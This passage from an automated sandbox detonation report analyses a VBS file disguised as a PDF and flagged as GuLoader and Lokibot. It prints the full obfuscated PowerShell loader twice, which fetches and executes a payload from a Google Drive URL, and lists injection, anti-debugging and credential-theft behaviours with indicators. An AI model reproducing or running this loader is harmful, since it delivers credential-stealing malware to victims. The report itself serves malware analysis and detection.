nForti6Bas,e4Snees;Brsmg Fa stxHaver6Gigan4indst; Amyl ToivorHjemmv Mali:Nonme1 Un e2Dreve1Fumig. Fond0Opstt)Forma L.rmG ChmseNonsecDagslkAsepsoR.tio/Di ta2Archc0 Pist1 Made0,abla0Loofi1 olan0Traad1.lott Torn,FMariniFo,jarDeamiePolitfOskaroAnkelxWeapo/ Doit1Orien2Unmod1Fuldb.R dto0 Tale ';$Reprsentationsudgifters=Scrapling ' Re,aUAustrS tuffE spirrAsser-HalveAT.iarG RazoESpiroN Pr oTCoelo ';$Steckling=Scrapling 'HumanhDebtot IncrtAtticpGolfesOpht,:Nonp./Parti/MoorhdVandlrModifi Da.pvProfeeErneq.CerebghvlspoKanaroBagg,g KontlTalloeBas a.Descecoverto DocemPract/ SpecuSlagtcDerma?ReinceHognuxSidespbuggeo pl tr AhortAflan=CarpidSmearoKommiwAb trnPennelWondioMeinea Ti,bdgrube& Ske.iS,anddTorme=Konfe1 Out,vPampe9StopfUom etjBegivQUnclebAgon YN nsuJ Emot-GesanmUddunLB nzeFH rmo9S,lgsMFrakouKon rG listKHasleyUn,eciVejrbwStolpoOrd aw,oedb6Ha.ertModfo3YeplyRAnthrp RemausammeiChato2MidweBkli.euFork ';$Outbacks231lloyalitets119=Scrapling 'Babbo>Clubs ';$Zygomas=Scrapling 'Stje,I CoalEDown.xP eti ';$Piezoelectric='oplggendes';$Droned = Scrapling ' Ste eUnd rc DemohDeveloFlipo Spalt%SlvedaCemenpUnrempSubasdWhi,ka otemtD,sora unre%Svr e\Bi stFEkstre ArtijH nnerFlodheFlyvesS orm. Gri,I BagmndrsprdA vis B,str&Retsf&danne TredveThyrocSmoldh car.oSlagt ForktS.eat ';Revuists (Scrapling 'Ramed$Alsidgvedr lIldebo.rogrbPal eaPinnilP,rel:SkgtsSdagsrnencruominimrTopgak Cy istale,oProevv Exau=,hyma(UnhoocAbundmbadehd oli Attri/HjrepcArbej Laev$Gra mDTohndrBymidoAnimanI tsteHephadPycno) plor ');Revuists (Scrapling 'Vinke$RumnegN.nsalEsk poDiskrbLa,etaTilbrlSuble:GloriKBigwiaPalatr GangaSenatkNoncotga geeBegr,r S,rmgPolici opdrv TilsnFlerii nonenMuringBitteeSkattrUdkldn ValreC.axys Nonp=Raadi$SpadeSTids.t,ommaeAtemoc ikkekChirolstaudiSulphnSulkagKom.e. FragsUdfoepTorpelSofasi unktt vrdr( Impo$ AmtsO Liteu Su rt overb R,taa BisecAfl vkMi,lis Desy2 Erum3Hamne1 ChaklKommulAdjudo SemiyT kstaOberslDo ekiShuttt,tatseSikketUnsucs Poli1L,nna1Unent9Crous)Gridd ');Revuists (Scrapling 'Thera[MetalNEgotieCondutOcrac.MultiS Lub.e adear Mooav fpatiPneumcHandleGrnsePDsnamo elaiExpianJonost StorM i.traAmmunn Fi maTrbukgP ionePre tr onn]Dipic:Forto:PivalS rimaeAralecOdel u parar Budgi Cr.tt F,deySelvbPUnglarKonveoSeptet RaggoJelv cJensko Troml Retr Sensa=Hippo Ung a[NietzNDe,ece MaletScr t.CoptiSUranie P.oscOve.tuPreporSendeioveratUniniyUncloP StatrNon uoGlinttAnc yoKattecTe neoInterlFlattTSe,uny Overpgilg eranke] Akse:Bogha:EnspnTPostcl.drivsHrgar1hypog2Samoj ');$Steckling=$Karaktergivningernes[0];$Eliters= (Scrapling 'Bigot$Uvi lGU.rivlChalaOBnderBSk teACanooldiplo: rken spunASanitTTonaltHeadcEMusher JikuGBnnebAReneglFrost=De.rinCreopeCri iwTenn -DeklaOUnjudB SoleJ U laELongpCPickaT Forf Frem,SAr ivyAnti,s.dtraT rrlieKni emHisto. GeneNKamereJimmyTUngra.ZlotyW rspiEKalasBUn erC udvalDiveriB onteSivs.NHa lot');$Eliters+=$Snorksov[1];Revuists ($Eliters);Revuists (Scrapling ' Fusu$EneinNmultiaTaxertRepantUlykkeM sunrAmel,gB rtva KystlUnlau.Sou hHHungeeLighta edsadSiddeeTilkrryder,s Cryp[Freda$SystoRHa,nde uhrspsagfrroniomsPolybeJaculnT,taqtUnmetaBus ut Canai ThymoSummenGausssoutstuUndisdMoiergTermiical if ndetSukreeSpa irmansusUncon]Simul=Secks$M kesSMidmouLe copMaltap acedlCeltii Skova PreanSa sdtL wnmsSkill ');$Cathedrals80=Scrapling ' Kine$A desNMus iaDayfltCo patb soueFlg,lrGreasgdata aDiscilKatte.AfcheD ,ubbo ProdwLooi nPoindl Chroo Co ta.onfadAb asF iwiriUntralBr neePachy(Kong.$ .oleS SkogtNo mueV ldsc BrinkPemollIntexiBevesn enzogudarm,.econ$ quatP heliiChapacVrn.esPropo)Desti ';$Pics=$Snorksov[0];Revuists (Scrapling 'Snyde$negliGSg,rfL ,oflO nopBhimmeaV tiaLens,e:Progrq,onbuuA umieUnobuE submvNegerEFugle=Overf(trolltNrhedEind aSKrg sTSunla-.verpp StataHeralT,seudhOxyhy Lud o$Absalpar,efI nbecTarteSUnder)Arthr ');while (!$Queeve) {Revuists (Scrapling 'Re,ta$Meirsg UdsplPl,sso TempbDefenaForfalBito.: OverkMidennUrenlsDual ftorbioSirelr BehedResuneDishalT lasiUndern Dem gVictueindler Dart= ungu$S igetW eatrviktou.mendeChrys ') ;Revuists $Cathedrals80;Revuists (Scrapling 'MonocS SpeatBe,rlaS hizrTvedet yras-Reg sS MasklIntanePagsle Ba.apButtr T ste4 blok ');Revuists (Scrapling ' unpr$Pro rgVotisl onpro yrinbSvrgeaFo,sklUdkas:IllesQ KetouFlateeAbende SnubvKursueBoo.e=Bruge(ApeksT .acre,eksksFurortB mbe-CylloP orsyaOpspatSer,ahSeneg Prog $ MitiPOsnabiTr ksc.tudisAtomt)afgan ') ;Revuists (Scrapling 'Ant o$ ,eneg ModtlCranioPle obStartaliniklFeti :SigjnUUngesnHjt ldOverdiun erfK.rnsfSin,cuCerbesKommei Luppv SpekeVindu=Bayer$Gift.gTomhelBrnetoIllumbMarnoaHannelSepti:VolcaB nonvuantiml rieteDomi,rF.dej+Na,te+Toome% onsu$ BrdeKRensnaFemvrroldboa entkPrisgt S jee Ran rYdelsg.ileni harv BathnAdlediK avlnKodnigCyc.oe ArberUn.ven makreKultusIntui.Deporc Snero,yrenuKrydsnh.tlitPtero ') ;$Steckling=$Karaktergivningernes[$Undiffusive];}$Transitternes=293716;$eustacies=28812;Revuists (Scrapling 'Fryns$Westfg hyttl Afpro sonabBarseaE farlUldha: EfteEVedl lUnmyteCryptcrammetCellurDispeoC,ambm .osteAmatrtJacksrRensee paad Conic=No.is TrillGUdenve.ommutKonto- Re.iCTempeoFljtinMarintCol,geAssisn LunatCatn. Rhync$ UndePMat,oiLnforcUdramsBrill ');Revuists (Scrapling 'Kiloe$Sla,egAarellFaraoo,umblbCahilaSyst,lSugek:GreenbTa,uehRe nta ImmuiOxyphaP edacOestrhProleaSa.sbrSkrosaProte Slapp=Fabi Notef[ G anS S ovy ldfus P eetSvvepeFormumSubtr.ReforCConfloLam en SmugvSmigvepolerr R det Ha.r]L sbe:Fg.ek:RockaFSpidsr C rkoUnnummR,tinBlommeaIntersVendeeYie,d6Sprin4 Sam SForv tEmmeirB drviCentrnmatthg epa(Succe$UnivaEAk,ielil.acePaeancUnsactOxymerWrongoFodromChecke eltft HolirE uipefunda)Areal ');Revuists (Scrapling 'Bern $ Debug SmaglKontro SkolbFrot aT xacl stak:CorymSD.punhD mmeoEquippStrikt unoiaAtterl,etask Rhyps owie comm =,verf Kapre[Gr viSKlavey TabesValuttPseude nhimMa nt.DebutTCodiceTredvxAllrotDebar.SnailE HyponUnenacForsioSulaidP,eeli Mattnperfeg .pli]Smyk.:Tasta:IvrayA,lfacSFork CS vebIUnd aIHarem.IntenGLayboePhytot ArbeS ud itUd terAci oi BehonIndsugVeste(Phob.$Caramb Fi mhVascuajorymiI aruaHypsicTilbahUncoma T enrSpiceaNonpe)V kal ');Revuists (Scrapling 'Rgend$UdtalgIn all Kat.oAntenbPloraaNonoclHo,oc:Nul eTs otlrantisaSaddln narsKdli e orslMirs eBred,m efineSaedvn,ugretFla,la Gennt Tkniientosn .urugKavip=Palae$CorncSPit phTolkeoDeprep Gas tLandsaG byrlPr dukRemarsChamo.Joe isUndraupa debRkedasDiadotUdfl r rveliX.nopnHepa gRule.(Fluor$Op,ksT Ste r ReboaH rlanHovedsDo rii creetHypont PasseMicrorUhue.nFremgeUdslasMuseu,Outro$ D syetil kuSdr,esUn ntt Rdn aBo.encBr,nkiAtrocemobnesPeast)O,eng ');Revuists $Transelementating;"

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Fejres.Ind && echo t"

C:\Program Files (x86)\windows mail\wabmig.exe

"C:\Program Files (x86)\windows mail\wabmig.exe"

Network

Country Destination Domain Proto
US 8.8.8.8:53 drive.google.com udp
GB 216.58.201.110:443 drive.google.com tcp
US 8.8.8.8:53 drive.usercontent.google.com udp
GB 142.250.179.225:443 drive.usercontent.google.com tcp
GB 216.58.201.110:443 drive.google.com tcp
US 8.8.8.8:53 c.pki.goog udp
GB 142.250.179.227:80 c.pki.goog tcp
US 8.8.8.8:53 o.pki.goog udp
GB 142.250.179.227:80 o.pki.goog tcp
GB 142.250.179.225:443 drive.usercontent.google.com tcp
US 137.184.191.215:80 137.184.191.215 tcp
US 137.184.191.215:80 137.184.191.215 tcp
US 137.184.191.215:80 137.184.191.215 tcp
US 137.184.191.215:80 137.184.191.215 tcp

Files

memory/2496-4-0x000007FEF5AFE000-0x000007FEF5AFF000-memory.dmp

memory/2496-5-0x000007FEF5840000-0x000007FEF61DD000-memory.dmp

memory/2496-7-0x0000000002330000-0x0000000002338000-memory.dmp

memory/2496-8-0x000007FEF5840000-0x000007FEF61DD000-memory.dmp

memory/2496-6-0x000000001B5C0000-0x000000001B8A2000-memory.dmp

memory/2496-10-0x000007FEF5840000-0x000007FEF61DD000-memory.dmp

memory/2496-12-0x000007FEF5AFE000-0x000007FEF5AFF000-memory.dmp

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\2QMFN71J5C52LMTUYAGP.temp

MD5 2467cc53055e8e217851d00b09329658
SHA1 ff980d45674c813527e017ef595801ecb0bac5da
SHA256 0c2871b282f9b079015a5833db741d2250a939f7ff3955ff16eafd9365f2aacf
SHA512 423ab090af2014a337721f7da8390be4c08b99dff09dbb6fb711d7ba3378c6650b726f4a229be10db1d613bd9912f463dcf123bab18800da69afc0528f617245

C:\Users\Admin\AppData\Roaming\Fejres.Ind

MD5 14838f971ce22130c51b9a7cc01b590a
SHA1 e368099b26f7b1778b784f1057daee1ac1f0dcd8
SHA256 c1efeb9e13bff5882769c4e721442b24c3206ddaea1999fa9558826ed50d3373
SHA512 1abf7ed094e78126fbb206ca1ad54e4cc0a902bdfb5de270f75087ca5052696aa6f1232b2386ae5bf74f352a5f586043deae67f2561a1baf76d9796c2e044026

memory/2496-16-0x000007FEF5840000-0x000007FEF61DD000-memory.dmp

memory/1996-17-0x0000000006740000-0x0000000009997000-memory.dmp

memory/2300-18-0x0000000000630000-0x0000000003887000-memory.dmp

memory/2300-41-0x0000000000400000-0x0000000000581000-memory.dmp

memory/2300-42-0x0000000000630000-0x0000000003887000-memory.dmp

memory/2496-43-0x000007FEF5840000-0x000007FEF61DD000-memory.dmp

C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-3533259084-2542256011-65585152-1000\0f5007522459c86e95ffcc62f32308f1_38b42d9b-3e83-45f4-8789-a30be34574b0

MD5 d898504a722bff1524134c6ab6a5eaa5
SHA1 e0fdc90c2ca2a0219c99d2758e68c18875a3e11e
SHA256 878f32f76b159494f5a39f9321616c6068cdb82e88df89bcc739bbc1ea78e1f9
SHA512 26a4398bffb0c0aef9a6ec53cd3367a2d0abf2f70097f711bbbf1e9e32fd9f1a72121691bb6a39eeb55d596edd527934e541b4defb3b1426b1d1a6429804dc61

C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-3533259084-2542256011-65585152-1000\0f5007522459c86e95ffcc62f32308f1_38b42d9b-3e83-45f4-8789-a30be34574b0

MD5 c07225d4e7d01d31042965f048728a0a
SHA1 69d70b340fd9f44c89adb9a2278df84faa9906b7
SHA256 8c136c7ae08020ad16fd1928e36ad335ddef8b85906d66b712fff049aa57dc9a
SHA512 23d3cea738e1abf561320847c39dadc8b5794d7bd8761b0457956f827a17ad2556118b909a3e6929db79980ccf156a6f58ac823cf88329e62417d2807b34b64b

Analysis: behavioral2

Detonation Overview

Submitted

2024-09-16 14:12

Reported

2024-09-16 14:14

Platform

win10v2004-20240802-en

Max time kernel

144s

Max time network

142s

Command Line

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Solicitud de propuesta(E007-24)·pdf.vbs"

Signatures

Guloader,Cloudeye

downloader guloader

Lokibot

trojan spyware stealer lokibot

Credentials from Password Stores: Credentials from Web Browsers

credential_access stealer

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000\Control Panel\International\Geo\Nation C:\Windows\System32\WScript.exe N/A

Accesses Microsoft Outlook profiles

collection
Description Indicator Process Target
Key opened \REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook C:\Program Files (x86)\windows mail\wabmig.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook C:\Program Files (x86)\windows mail\wabmig.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook C:\Program Files (x86)\windows mail\wabmig.exe N/A

Legitimate hosting services abused for malware hosting/C2

Description Indicator Process Target
N/A drive.google.com N/A N/A
N/A drive.google.com N/A N/A
N/A drive.google.com N/A N/A

Suspicious use of NtCreateThreadExHideFromDebugger

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\windows mail\wabmig.exe N/A
N/A N/A C:\Program Files (x86)\windows mail\wabmig.exe N/A

Suspicious use of NtSetInformationThreadHideFromDebugger

Description Indicator Process Target
N/A N/A C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Program Files (x86)\windows mail\wabmig.exe N/A

Suspicious use of SetThreadContext

Description Indicator Process Target
PID 5064 set thread context of 3388 N/A C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe C:\Program Files (x86)\windows mail\wabmig.exe

Enumerates physical storage devices

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\cmd.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Program Files (x86)\windows mail\wabmig.exe N/A

Suspicious behavior: MapViewOfSection

Description Indicator Process Target
N/A N/A C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Program Files (x86)\windows mail\wabmig.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 116 wrote to memory of 3704 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 116 wrote to memory of 3704 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3704 wrote to memory of 3632 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\cmd.exe
PID 3704 wrote to memory of 3632 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\cmd.exe
PID 3704 wrote to memory of 1828 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\cmd.exe
PID 3704 wrote to memory of 1828 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\cmd.exe
PID 1828 wrote to memory of 5064 N/A C:\Windows\system32\cmd.exe C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
PID 1828 wrote to memory of 5064 N/A C:\Windows\system32\cmd.exe C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
PID 1828 wrote to memory of 5064 N/A C:\Windows\system32\cmd.exe C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
PID 5064 wrote to memory of 2940 N/A C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\cmd.exe
PID 5064 wrote to memory of 2940 N/A C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\cmd.exe
PID 5064 wrote to memory of 2940 N/A C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\cmd.exe
PID 5064 wrote to memory of 3388 N/A C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe C:\Program Files (x86)\windows mail\wabmig.exe
PID 5064 wrote to memory of 3388 N/A C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe C:\Program Files (x86)\windows mail\wabmig.exe
PID 5064 wrote to memory of 3388 N/A C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe C:\Program Files (x86)\windows mail\wabmig.exe
PID 5064 wrote to memory of 3388 N/A C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe C:\Program Files (x86)\windows mail\wabmig.exe
PID 5064 wrote to memory of 3388 N/A C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe C:\Program Files (x86)\windows mail\wabmig.exe

outlook_office_path

Description Indicator Process Target
Key opened \REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook C:\Program Files (x86)\windows mail\wabmig.exe N/A

outlook_win_path

Description Indicator Process Target
Key opened \REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook C:\Program Files (x86)\windows mail\wabmig.exe N/A

Processes

C:\Windows\System32\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Solicitud de propuesta(E007-24)·pdf.vbs"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "<#Falsemaskinerne tapester Contorting programhukommelsen Regningsarts Fabled Nittet #>;$Awnings='Kyrielle';<#Semicordated Grnskollingen Rekommander Misentries Kongedoemmer Underudvalgs #>;$grapewort=$host.PrivateData;If ($grapewort) {$Kommunikooers++;}function Scrapling($Limnoriidae68){$Spontane=$Limnoriidae68.Length-$Kommunikooers;for( $Outbacks231=5;$Outbacks231 -lt $Spontane;$Outbacks231+=6){$Systematisation+=$Limnoriidae68[$Outbacks231];}$Systematisation;}function Revuists($Nonillionth){ . ($Zygomas) ($Nonillionth);}$Suppliants=Scrapling 'SgereMkukkeoLounszJuri,if,uebl Littl Su.saWiren/Bortk5Waste.Raast0 Mrke Hand(E copW Ultri aintn Tri dSv,neoSkolew Risfs Ansv UnpenN CrumT Hier Plot1Besta0 Aqua.Slvtj0 int;Milli ConfeWAf,ydi Nym nForti6Bas,e4Snees;Brsmg Fa stxHaver6Gigan4indst; Amyl ToivorHjemmv Mali:Nonme1 Un e2Dreve1Fumig. Fond0Opstt)Forma L.rmG ChmseNonsecDagslkAsepsoR.tio/Di ta2Archc0 Pist1 Made0,abla0Loofi1 olan0Traad1.lott Torn,FMariniFo,jarDeamiePolitfOskaroAnkelxWeapo/ Doit1Orien2Unmod1Fuldb.R dto0 Tale ';$Reprsentationsudgifters=Scrapling ' Re,aUAustrS tuffE spirrAsser-HalveAT.iarG RazoESpiroN Pr oTCoelo ';$Steckling=Scrapling 'HumanhDebtot IncrtAtticpGolfesOpht,:Nonp./Parti/MoorhdVandlrModifi Da.pvProfeeErneq.CerebghvlspoKanaroBagg,g KontlTalloeBas a.Descecoverto DocemPract/ SpecuSlagtcDerma?ReinceHognuxSidespbuggeo pl tr AhortAflan=CarpidSmearoKommiwAb trnPennelWondioMeinea Ti,bdgrube& Ske.iS,anddTorme=Konfe1 Out,vPampe9StopfUom etjBegivQUnclebAgon YN nsuJ Emot-GesanmUddunLB nzeFH rmo9S,lgsMFrakouKon rG listKHasleyUn,eciVejrbwStolpoOrd aw,oedb6Ha.ertModfo3YeplyRAnthrp RemausammeiChato2MidweBkli.euFork ';$Outbacks231lloyalitets119=Scrapling 'Babbo>Clubs ';$Zygomas=Scrapling 'Stje,I CoalEDown.xP eti ';$Piezoelectric='oplggendes';$Droned = Scrapling ' Ste eUnd rc DemohDeveloFlipo Spalt%SlvedaCemenpUnrempSubasdWhi,ka otemtD,sora unre%Svr e\Bi stFEkstre ArtijH nnerFlodheFlyvesS orm. Gri,I BagmndrsprdA vis B,str&Retsf&danne TredveThyrocSmoldh car.oSlagt ForktS.eat ';Revuists (Scrapling 'Ramed$Alsidgvedr lIldebo.rogrbPal eaPinnilP,rel:SkgtsSdagsrnencruominimrTopgak Cy istale,oProevv Exau=,hyma(UnhoocAbundmbadehd oli Attri/HjrepcArbej Laev$Gra mDTohndrBymidoAnimanI tsteHephadPycno) plor ');Revuists (Scrapling 'Vinke$RumnegN.nsalEsk poDiskrbLa,etaTilbrlSuble:GloriKBigwiaPalatr GangaSenatkNoncotga geeBegr,r S,rmgPolici opdrv TilsnFlerii nonenMuringBitteeSkattrUdkldn ValreC.axys Nonp=Raadi$SpadeSTids.t,ommaeAtemoc ikkekChirolstaudiSulphnSulkagKom.e. FragsUdfoepTorpelSofasi unktt vrdr( Impo$ AmtsO Liteu Su rt overb R,taa BisecAfl vkMi,lis Desy2 Erum3Hamne1 ChaklKommulAdjudo SemiyT kstaOberslDo ekiShuttt,tatseSikketUnsucs Poli1L,nna1Unent9Crous)Gridd ');Revuists (Scrapling 'Thera[MetalNEgotieCondutOcrac.MultiS Lub.e adear Mooav fpatiPneumcHandleGrnsePDsnamo elaiExpianJonost StorM i.traAmmunn Fi maTrbukgP ionePre tr onn]Dipic:Forto:PivalS rimaeAralecOdel u parar Budgi Cr.tt F,deySelvbPUnglarKonveoSeptet RaggoJelv cJensko Troml Retr Sensa=Hippo Ung a[NietzNDe,ece MaletScr t.CoptiSUranie P.oscOve.tuPreporSendeioveratUniniyUncloP StatrNon uoGlinttAnc yoKattecTe neoInterlFlattTSe,uny Overpgilg eranke] Akse:Bogha:EnspnTPostcl.drivsHrgar1hypog2Samoj ');$Steckling=$Karaktergivningernes[0];$Eliters= (Scrapling 'Bigot$Uvi lGU.rivlChalaOBnderBSk teACanooldiplo: rken spunASanitTTonaltHeadcEMusher JikuGBnnebAReneglFrost=De.rinCreopeCri iwTenn -DeklaOUnjudB SoleJ U laELongpCPickaT Forf Frem,SAr ivyAnti,s.dtraT rrlieKni emHisto. GeneNKamereJimmyTUngra.ZlotyW rspiEKalasBUn erC udvalDiveriB onteSivs.NHa lot');$Eliters+=$Snorksov[1];Revuists ($Eliters);Revuists (Scrapling ' Fusu$EneinNmultiaTaxertRepantUlykkeM sunrAmel,gB rtva KystlUnlau.Sou hHHungeeLighta edsadSiddeeTilkrryder,s Cryp[Freda$SystoRHa,nde uhrspsagfrroniomsPolybeJaculnT,taqtUnmetaBus ut Canai ThymoSummenGausssoutstuUndisdMoiergTermiical if ndetSukreeSpa irmansusUncon]Simul=Secks$M kesSMidmouLe copMaltap acedlCeltii Skova PreanSa sdtL wnmsSkill ');$Cathedrals80=Scrapling ' Kine$A desNMus iaDayfltCo patb soueFlg,lrGreasgdata aDiscilKatte.AfcheD ,ubbo ProdwLooi nPoindl Chroo Co ta.onfadAb asF iwiriUntralBr neePachy(Kong.$ .oleS SkogtNo mueV ldsc BrinkPemollIntexiBevesn enzogudarm,.econ$ quatP heliiChapacVrn.esPropo)Desti ';$Pics=$Snorksov[0];Revuists (Scrapling 'Snyde$negliGSg,rfL ,oflO nopBhimmeaV tiaLens,e:Progrq,onbuuA umieUnobuE submvNegerEFugle=Overf(trolltNrhedEind aSKrg sTSunla-.verpp StataHeralT,seudhOxyhy Lud o$Absalpar,efI nbecTarteSUnder)Arthr ');while (!$Queeve) {Revuists (Scrapling 'Re,ta$Meirsg UdsplPl,sso TempbDefenaForfalBito.: OverkMidennUrenlsDual ftorbioSirelr BehedResuneDishalT lasiUndern Dem gVictueindler Dart= ungu$S igetW eatrviktou.mendeChrys ') ;Revuists $Cathedrals80;Revuists (Scrapling 'MonocS SpeatBe,rlaS hizrTvedet yras-Reg sS MasklIntanePagsle Ba.apButtr T ste4 blok ');Revuists (Scrapling ' unpr$Pro rgVotisl onpro yrinbSvrgeaFo,sklUdkas:IllesQ KetouFlateeAbende SnubvKursueBoo.e=Bruge(ApeksT .acre,eksksFurortB mbe-CylloP orsyaOpspatSer,ahSeneg Prog $ MitiPOsnabiTr ksc.tudisAtomt)afgan ') ;Revuists (Scrapling 'Ant o$ ,eneg ModtlCranioPle obStartaliniklFeti :SigjnUUngesnHjt ldOverdiun erfK.rnsfSin,cuCerbesKommei Luppv SpekeVindu=Bayer$Gift.gTomhelBrnetoIllumbMarnoaHannelSepti:VolcaB nonvuantiml rieteDomi,rF.dej+Na,te+Toome% onsu$ BrdeKRensnaFemvrroldboa entkPrisgt S jee Ran rYdelsg.ileni harv BathnAdlediK avlnKodnigCyc.oe ArberUn.ven makreKultusIntui.Deporc Snero,yrenuKrydsnh.tlitPtero ') ;$Steckling=$Karaktergivningernes[$Undiffusive];}$Transitternes=293716;$eustacies=28812;Revuists (Scrapling 'Fryns$Westfg hyttl Afpro sonabBarseaE farlUldha: EfteEVedl lUnmyteCryptcrammetCellurDispeoC,ambm .osteAmatrtJacksrRensee paad Conic=No.is TrillGUdenve.ommutKonto- Re.iCTempeoFljtinMarintCol,geAssisn LunatCatn. Rhync$ UndePMat,oiLnforcUdramsBrill ');Revuists (Scrapling 'Kiloe$Sla,egAarellFaraoo,umblbCahilaSyst,lSugek:GreenbTa,uehRe nta ImmuiOxyphaP edacOestrhProleaSa.sbrSkrosaProte Slapp=Fabi Notef[ G anS S ovy ldfus P eetSvvepeFormumSubtr.ReforCConfloLam en SmugvSmigvepolerr R det Ha.r]L sbe:Fg.ek:RockaFSpidsr C rkoUnnummR,tinBlommeaIntersVendeeYie,d6Sprin4 Sam SForv tEmmeirB drviCentrnmatthg epa(Succe$UnivaEAk,ielil.acePaeancUnsactOxymerWrongoFodromChecke eltft HolirE uipefunda)Areal ');Revuists (Scrapling 'Bern $ Debug SmaglKontro SkolbFrot aT xacl stak:CorymSD.punhD mmeoEquippStrikt unoiaAtterl,etask Rhyps owie comm =,verf Kapre[Gr viSKlavey TabesValuttPseude nhimMa nt.DebutTCodiceTredvxAllrotDebar.SnailE HyponUnenacForsioSulaidP,eeli Mattnperfeg .pli]Smyk.:Tasta:IvrayA,lfacSFork CS vebIUnd aIHarem.IntenGLayboePhytot ArbeS ud itUd terAci oi BehonIndsugVeste(Phob.$Caramb Fi mhVascuajorymiI aruaHypsicTilbahUncoma T enrSpiceaNonpe)V kal ');Revuists (Scrapling 'Rgend$UdtalgIn all Kat.oAntenbPloraaNonoclHo,oc:Nul eTs otlrantisaSaddln narsKdli e orslMirs eBred,m efineSaedvn,ugretFla,la Gennt Tkniientosn .urugKavip=Palae$CorncSPit phTolkeoDeprep Gas tLandsaG byrlPr dukRemarsChamo.Joe isUndraupa debRkedasDiadotUdfl r rveliX.nopnHepa gRule.(Fluor$Op,ksT Ste r ReboaH rlanHovedsDo rii creetHypont PasseMicrorUhue.nFremgeUdslasMuseu,Outro$ D syetil kuSdr,esUn ntt Rdn aBo.encBr,nkiAtrocemobnesPeast)O,eng ');Revuists $Transelementating;"

C:\Windows\system32\cmd.exe

"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Fejres.Ind && echo t"

C:\Windows\system32\cmd.exe

"C:\Windows\system32\cmd.exe" /c ^"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe^" "<#Falsemaskinerne tapester Contorting programhukommelsen Regningsarts Fabled Nittet #>;$Awnings='Kyrielle';<#Semicordated Grnskollingen Rekommander Misentries Kongedoemmer Underudvalgs #>;$grapewort=$host.PrivateData;If ($grapewort) {$Kommunikooers++;}function Scrapling($Limnoriidae68){$Spontane=$Limnoriidae68.Length-$Kommunikooers;for( $Outbacks231=5;$Outbacks231 -lt $Spontane;$Outbacks231+=6){$Systematisation+=$Limnoriidae68[$Outbacks231];}$Systematisation;}function Revuists($Nonillionth){ . ($Zygomas) ($Nonillionth);}$Suppliants=Scrapling 'SgereMkukkeoLounszJuri,if,uebl Littl Su.saWiren/Bortk5Waste.Raast0 Mrke Hand(E copW Ultri aintn Tri dSv,neoSkolew Risfs Ansv UnpenN CrumT Hier Plot1Besta0 Aqua.Slvtj0 int;Milli ConfeWAf,ydi Nym nForti6Bas,e4Snees;Brsmg Fa 